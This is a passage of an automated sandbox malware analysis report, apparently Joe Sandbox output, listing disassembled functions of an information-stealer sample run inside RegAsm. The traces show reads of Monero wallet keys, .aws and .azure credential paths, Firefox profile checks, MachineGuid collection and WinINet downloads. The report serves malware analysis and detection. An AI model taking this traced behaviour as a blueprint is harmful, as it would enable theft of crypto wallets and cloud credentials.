lstrcat.KERNEL32(00000000,004262A0), ref: 004105BC

Part of subcall function 004104A2: GetCurrentHwProfileA.ADVAPI32(?), ref: 004104B3

lstrlenA.KERNEL32(00000000), ref: 004105DB

Part of subcall function 00411154: malloc.MSVCRT ref: 00411162
Part of subcall function 00411154: strncpy.MSVCRT ref: 00411172

lstrcat.KERNEL32(00000000,00000000), ref: 00410608

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Strings

C, xrefs: 0041050F
:\, xrefs: 0041052D

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heaplstrcat$AllocCurrentDirectoryH_prologInformationProcessProfileVolumeWindowslstrcpylstrlenmallocstrncpywsprintf
String ID: :\$C
API String ID: 688099012-3309953409
Opcode ID: 416253e965eb42c759364b255e4ecd1a0613b221ded167edafa7b177bf4c383f
Instruction ID: 84e118196ac0f38cbb6e09dfb40efd972d04435529832d229da92da0b26732ed
Opcode Fuzzy Hash: 416253e965eb42c759364b255e4ecd1a0613b221ded167edafa7b177bf4c383f
Instruction Fuzzy Hash: 8E418071801158ABCB11EBE5DD89EEFBBBDEF4A304F10006EF505A3141EA785A48CBB5

Function 00413118 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 116stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0041311D

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00404F2A: _EH_prolog.MSVCRT ref: 00404F2F
Part of subcall function 00404F2A: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404F92
Part of subcall function 00404F2A: StrCmpCA.SHLWAPI(?), ref: 00404FA6
Part of subcall function 00404F2A: InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404FC9
Part of subcall function 00404F2A: HttpOpenRequestA.WININET(?,GET,?,00000000,00000000,-00400100,00000000), ref: 00404FFF
Part of subcall function 00404F2A: InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405023
Part of subcall function 00404F2A: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040502E
Part of subcall function 00404F2A: HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040504C

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041319F
lstrlenA.KERNEL32(00000000), ref: 004131B6

Part of subcall function 00410D6D: LocalAlloc.KERNEL32(00000040,004131CC,000000C8,00000001,?,004131CB,00000000,00000000), ref: 00410D86

StrStrA.SHLWAPI(00000000,00000000), ref: 004131DD
lstrlenA.KERNEL32(00000000), ref: 004131F2
lstrlenA.KERNEL32(00000000), ref: 0041320D

Strings

ERROR, xrefs: 0041321D
ERROR, xrefs: 00413191
ERROR, xrefs: 00413231
ERROR, xrefs: 0041323F
ERROR, xrefs: 00413238

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: HttpInternetlstrcpylstrlen$H_prologOpenRequest$AllocConnectInfoLocalOptionQuerySend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3807055897-1526165396
Opcode ID: d0459109369f2f4c7748f439c483f4eaf3f7582e003e90059872d5f537bb727b
Instruction ID: 555d10d1ffafafdd123518b884250a5375e6a4b62cd9d48d02a2f87644db10f1
Opcode Fuzzy Hash: d0459109369f2f4c7748f439c483f4eaf3f7582e003e90059872d5f537bb727b
Instruction Fuzzy Hash: 7141A6B1900258EACB11FFA1D956FDDB7B4AF18708F10007FE90173182DB386B488A6A

Function 0040ED08 Relevance: 17.9, APIs: 7, Strings: 3, Instructions: 373COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040ED0D
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040ED51
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040EDC5
StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040EEE1

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040D3FA: _EH_prolog.MSVCRT ref: 0040D3FF

Part of subcall function 0040B8AF: _EH_prolog.MSVCRT ref: 0040B8B4

StrCmpCA.SHLWAPI(00000000), ref: 0040EFB0
StrCmpCA.SHLWAPI(00000000), ref: 0040F025
StrCmpCA.SHLWAPI(00000000,firefox), ref: 0040F140

Strings

firefox, xrefs: 0040F132
Stable\, xrefs: 0040F068
Stable\, xrefs: 0040EE08

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy
String ID: Stable\$ Stable\$firefox
API String ID: 2120869262-2697854757
Opcode ID: cbc591070e23e547dad82c25336e79ec262d8277c697555a2c597f71d100fc77
Instruction ID: 1d26c69091b310833a01da009a7ea8e67b8bedb29d0866ac6f751b535dc35178
Opcode Fuzzy Hash: cbc591070e23e547dad82c25336e79ec262d8277c697555a2c597f71d100fc77
Instruction Fuzzy Hash: 70E19171D00249EADF10FBB9D956BDDBFB4AB09304F10817AE80477682DB78570C8BA6

Function 00401C6B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 179stringCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00401C70
memset.MSVCRT ref: 00401C8E

Part of subcall function 00401000: GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401014
Part of subcall function 00401000: HeapAlloc.KERNEL32(00000000,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040101B
Part of subcall function 00401000: RegOpenKeyExA.KERNEL32(000000FF,00000000,00000000,00020119,?,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 00401034
Part of subcall function 00401000: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,000000FF,?,?,?,00401CA7,80000001,SOFTWARE\monero-project\monero-core,wallet_path,?,00000000), ref: 0040104D

lstrcat.KERNEL32(?,00000000), ref: 00401CB2
lstrlenA.KERNEL32(?,?,?,?,?,?,?), ref: 00401CBF
lstrcat.KERNEL32(?,.keys), ref: 00401CDA

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 0040618B: _EH_prolog.MSVCRT ref: 00406190
Part of subcall function 0040618B: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
Part of subcall function 0040618B: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
Part of subcall function 0040618B: LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
Part of subcall function 0040618B: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
Part of subcall function 0040618B: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406221

memset.MSVCRT ref: 00401E9D

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 00414437: _EH_prolog.MSVCRT ref: 0041443C
Part of subcall function 00414437: CreateThread.KERNEL32(00000000,00000000,00413326,?,00000000,00000000), ref: 004144E2
Part of subcall function 00414437: WaitForSingleObject.KERNEL32(00000000,000003E8,?,00000000), ref: 004144EA

Strings

wallet_path, xrefs: 00401C93
SOFTWARE\monero-project\monero-core, xrefs: 00401C98
.keys, xrefs: 00401CCE
\Monero\wallet.keys, xrefs: 00401D03

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prolog$lstrcpy$lstrcat$File$AllocCreateHeaplstrlenmemset$CloseHandleLocalObjectOpenProcessQueryReadSingleSizeSystemThreadTimeValueWait
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 1518627966-218353709
Opcode ID: e9d5ebe04bd7bc58995d170363b86178bbbe3cf24575e7001856d206ab765175
Instruction ID: 901e0a47ee0b89a43ddfaf22904e5be17bd7688e420c1fcef0611cd27edb7556
Opcode Fuzzy Hash: e9d5ebe04bd7bc58995d170363b86178bbbe3cf24575e7001856d206ab765175
Instruction Fuzzy Hash: 06715D71D00248EACB14EBE4D956BDDBBB8AF18308F54407EE505B31C2DE78264CCB69

Function 00404DCA Relevance: 15.1, APIs: 10, Instructions: 116networkfileCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00404DCF

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

Part of subcall function 00403A54: _EH_prolog.MSVCRT ref: 00403A59
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A8B
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A94
Part of subcall function 00403A54: ??_U@YAPAXI@Z.MSVCRT ref: 00403A9D
Part of subcall function 00403A54: lstrlenA.KERNEL32(00000000,00000000,?,?,00000001,000000C8), ref: 00403AB7
Part of subcall function 00403A54: InternetCrackUrlA.WININET(00000000,00000000,?,00000001), ref: 00403AC7

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404E1E
StrCmpCA.SHLWAPI(?), ref: 00404E38
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,-00800100,00000000), ref: 00404E5C
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00404E7D
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00404EA4
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 00404EC8
CloseHandle.KERNEL32(?,?,00000400), ref: 00404EE2
InternetCloseHandle.WININET(00000000), ref: 00404EE9
InternetCloseHandle.WININET(?), ref: 00404EF2

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$H_prologOpen$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2737972104-0
Opcode ID: 88829cdbc13eaa028feb7f2b605196d4632ef8e36c7567f8413ee27c5444be14
Instruction ID: b48a0b941aae4b8094d1842ee2058a608b59a9df84dda5b7ed82bcf6dbc203b8
Opcode Fuzzy Hash: 88829cdbc13eaa028feb7f2b605196d4632ef8e36c7567f8413ee27c5444be14
Instruction Fuzzy Hash: D6413CB1800119AFDB20EBA0DC45FEE7BBDFB45304F10447AFA15B2191D7385A498BA5

Function 00410415 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 42registryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0041043B
RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Cryptography,00000000,00020119,NeB,?,?,00000000), ref: 00410457
RegQueryValueExA.KERNEL32(NeB,MachineGuid,00000000,00000000,?,000000FF,?,?,00000000), ref: 00410476
CharToOemA.USER32(?,?), ref: 00410493

Strings

NeB, xrefs: 00410443, 0041047C, 00410473, 00410446
SOFTWARE\Microsoft\Cryptography, xrefs: 0041044D
MachineGuid, xrefs: 0041046E

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CharOpenQueryValuememset
String ID: MachineGuid$NeB$SOFTWARE\Microsoft\Cryptography
API String ID: 1728412123-1973151993
Opcode ID: 8a42b9606ce94e91a3aee8c6c2ec702ea9be6fa22a3d7d9db661520a3802ec5d
Instruction ID: e049fcdf3dccc2042a1c1aa5727c33f1d227b0b17948d6a14ccc4f9ac1de0051
Opcode Fuzzy Hash: 8a42b9606ce94e91a3aee8c6c2ec702ea9be6fa22a3d7d9db661520a3802ec5d
Instruction Fuzzy Hash: 8A014F7590421DFFEB10DB90DC89FEAB77CEB18708F5000A5B644E2051EAB45FC88B60

Function 0041695F Relevance: 11.2, APIs: 5, Strings: 1, Instructions: 654networkCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00416964

Part of subcall function 0040F923: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F94D

Part of subcall function 004134FD: _EH_prolog.MSVCRT ref: 00413502

Part of subcall function 004135AC: _EH_prolog.MSVCRT ref: 004135B1

Part of subcall function 0040F997: lstrlenA.KERNEL32(?,00000000,?,004169B9,004265B7,004265B6,00000000,00000000,?,00417314), ref: 0040F9A0
Part of subcall function 0040F997: lstrcpy.KERNEL32(00000000,00000000), ref: 0040F9D4

Part of subcall function 00417645: GetProcAddress.KERNEL32(74DD0000,00416AAC), ref: 00417659
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417670
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417687
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041769E
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176B5
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176CC
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176E3
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004176FA
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417711
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417728
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041773F
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417756
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041776D
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417784
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041779B
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177B2
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177C9
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177E0
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 004177F7
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041780E
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417825
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041783C
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 00417853
Part of subcall function 00417645: GetProcAddress.KERNEL32 ref: 0041786A

Part of subcall function 00410B5C: _EH_prolog.MSVCRT ref: 00410B61
Part of subcall function 00410B5C: GetSystemTime.KERNEL32(?,00426498,00000001,000000C8,00000000,004265BA), ref: 00410BA1

Part of subcall function 0040F9E1: lstrcpy.KERNEL32(00000000,?), ref: 0040FA1A

Part of subcall function 0040FA9C: _EH_prolog.MSVCRT ref: 0040FAA1
Part of subcall function 0040FA9C: lstrlenA.KERNEL32(?,?,?,?,?,00417294,?,?,00426B18,?,00000000,004265C7), ref: 0040FAC9
Part of subcall function 0040FA9C: lstrcpy.KERNEL32(00000000), ref: 0040FAF0
Part of subcall function 0040FA9C: lstrcat.KERNEL32(?,?), ref: 0040FAFB

Part of subcall function 0040FA28: _EH_prolog.MSVCRT ref: 0040FA2D
Part of subcall function 0040FA28: lstrcpy.KERNEL32(00000000), ref: 0040FA79
Part of subcall function 0040FA28: lstrcat.KERNEL32(?,?), ref: 0040FA83

CreateDirectoryA.KERNEL32(00000000,00000000,00000000,?,5A&6A,?,004265BB,00000000,?,00000040,00000064,0041366A,00412D12,?,0000002C,00000064), ref: 00416B55

Part of subcall function 004010B1: _EH_prolog.MSVCRT ref: 004010B6

Part of subcall function 0041390C: _EH_prolog.MSVCRT ref: 00413911
Part of subcall function 0041390C: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413B5E

Part of subcall function 00413295: _EH_prolog.MSVCRT ref: 0041329A

Part of subcall function 0040F95A: lstrcpy.KERNEL32(00000000,okA), ref: 0040F980

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00416C3A
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00416C56

Part of subcall function 004104DD: _EH_prolog.MSVCRT ref: 004104E2
Part of subcall function 004104DD: GetWindowsDirectoryA.KERNEL32(?,00000104,00000001,?,00000000), ref: 00410505
Part of subcall function 004104DD: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00410537
Part of subcall function 004104DD: GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000000), ref: 0041057A
Part of subcall function 004104DD: HeapAlloc.KERNEL32(00000000,?,?,00000000), ref: 00410581

Part of subcall function 00403AF5: _EH_prolog.MSVCRT ref: 00403AFA
Part of subcall function 00403AF5: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403BA5
Part of subcall function 00403AF5: StrCmpCA.SHLWAPI(?), ref: 00403BBC

Part of subcall function 00411CD8: _EH_prolog.MSVCRT ref: 00411CDD
Part of subcall function 00411CD8: StrCmpCA.SHLWAPI(00000000,block,00000000,?,?,00416CD7), ref: 00411CFF
Part of subcall function 00411CD8: ExitProcess.KERNEL32 ref: 00411D0A

Part of subcall function 0040ED08: _EH_prolog.MSVCRT ref: 0040ED0D
Part of subcall function 0040ED08: StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040ED51
Part of subcall function 0040ED08: StrCmpCA.SHLWAPI(00000000,?,?,00000000), ref: 0040EDC5

Part of subcall function 0040514C: _EH_prolog.MSVCRT ref: 00405151
Part of subcall function 0040514C: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 004051FC
Part of subcall function 0040514C: StrCmpCA.SHLWAPI(?), ref: 00405213

Part of subcall function 004117C4: _EH_prolog.MSVCRT ref: 004117C9
Part of subcall function 004117C4: strtok_s.MSVCRT ref: 004117F0
Part of subcall function 004117C4: StrCmpCA.SHLWAPI(00000000,00426570,?,?,?,?,00416EC0), ref: 00411821
Part of subcall function 004117C4: strtok_s.MSVCRT ref: 00411882

Part of subcall function 00401ED6: _EH_prolog.MSVCRT ref: 00401EDB

Part of subcall function 004165D9: _EH_prolog.MSVCRT ref: 004165DE
Part of subcall function 004165D9: lstrcat.KERNEL32(?,00000000), ref: 00416620
Part of subcall function 004165D9: lstrcat.KERNEL32(?), ref: 0041663F

Part of subcall function 00416791: _EH_prolog.MSVCRT ref: 00416796
Part of subcall function 00416791: memset.MSVCRT ref: 004167B6
Part of subcall function 00416791: lstrcat.KERNEL32(?,00000000), ref: 004167DC
Part of subcall function 00416791: lstrcat.KERNEL32(?,\.azure\), ref: 004167F9
Part of subcall function 00416791: memset.MSVCRT ref: 00416834
Part of subcall function 00416791: lstrcat.KERNEL32(?,00000000), ref: 0041685F
Part of subcall function 00416791: lstrcat.KERNEL32(?,\.aws\), ref: 0041687C
Part of subcall function 00416791: memset.MSVCRT ref: 004168B7

Part of subcall function 00401061: _EH_prolog.MSVCRT ref: 00401066

Strings

5A&6A, xrefs: 00416ABD, 00416B04, 00416B0A

Memory Dump Source

Source File: 00000003.00000002.2039421679.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2039421679.0000000000434000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000438000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000052E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000534000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000553000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.0000000000572000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000060B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2039421679.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AddressProc$H_prolog$lstrcat$lstrcpy$InternetOpen$memset$DirectoryHeapProcesslstrlenstrtok_s$AllocCreateExitInformationSystemTimeVolumeWindows
String ID: 5A&6A
API String ID: 1955031769-2983527881
Opcode ID: f56475e3e9353e3f899919c66131b9dca8b7c1d3b1fcd2b89d564be33ac666e9
Instruction ID: edbb1815c7422c7d311f49e837a4d97797ab122b1f4c92a9abc43992aef21044
Opcode Fuzzy Hash: f56475e3e9353e3f899919c66131b9dca8b7c1d3b1fcd2b89d564be33ac666e9
Instruction Fuzzy Hash: 8C4242B1D00358AADF10EBE5C946BDEBB78AF15304F5041AEF54573281DB781B888BA7

Function 0040618B Relevance: 10.6, APIs: 7, Instructions: 70filememoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 00406190
CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061B3
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000000), ref: 004061CA
LocalAlloc.KERNEL32(00000040,?,00000000,00000000,?,?,?,?,?,?,?,00000000), ref: 004061E6
ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,?,?,?,00000000), ref: 00406200
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00406216
